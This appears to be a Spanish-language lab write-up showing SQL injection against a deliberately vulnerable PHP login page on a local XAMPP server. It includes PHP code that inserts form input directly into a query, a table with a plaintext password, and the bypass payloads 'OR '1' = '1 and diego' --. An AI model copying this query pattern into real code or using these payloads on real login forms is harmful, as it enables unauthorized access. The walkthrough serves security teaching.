Para realizar esta prueba de vulnerabilidad se utilizó una página web que maneja la base de datos con SQL, en este caso utilizando XAMPP en un servidor local.
Base de datos:
Se usa una base de datos SQL que contiene el usuario y la contraseña
id | usuario | contraseña |
---|---|---|
1 | diego | 1234 |
Vista del login
Código de PHP que realiza la comprobación
<?php
include('db.php');
$usuario=$_POST['usuario'];
$contraseña=$_POST['contraseña'];
session_start();
$_SESSION['usuario']=$usuario;
$conexion=mysqli_connect("localhost","root","","login");
$consulta="SELECT*FROM usuarios where usuario='$usuario' and contraseña='$contraseña'";
$resultado=mysqli_query($conexion,$consulta);
$filas=mysqli_num_rows($resultado);
if($filas){
header("location:home.php");
}else{
?>
<?php
include("index.html");
?>
<h1 class="bad">ERROR DE AUTENTIFICACION</h1>
<?php
}
mysqli_free_result($resultado);
mysqli_close($conexion);
Ingresando correctamente los datos
Pantalla de bienvenida y error
Esta pantalla aparecerá solamente si los datos ingresados son correctos.
Esta pantalla muestra el error al colocar datos erróneos.
Aplicación de ataque SQL Injection
Para realizar el ataque se utilizo la siguiente línea de código:
'OR '1' = '1
Tanto en el campo de usuario como de contraseña
De este modo la línea que codigo de nuestro archivo PHP que realiza la validación de usuario y contraseña nos queda así
Antes del ataque:
$consulta="SELECT*FROM usuarios where usuario='$usuario' and contraseña='$contraseña'";
Después del ataque
$consulta="SELECT*FROM usuarios where usuario=''OR '1' = '1'
and contraseña=''OR '1' = '1'";
Agregando a la consulta cuando 1 sea igual a 1 es decir verdadero siempre dándonos acceso y mostrando la pantalla de bienvenida como si los datos fueran correctos.
Adicionalmente se puede ingresar utilizando un solo campo utilizando la siguiente línea de comandos
diego' --
de esta forma no importa lo que se envíe en el campo de contraseña.
Dando acceso de igual forma
Discussion (0)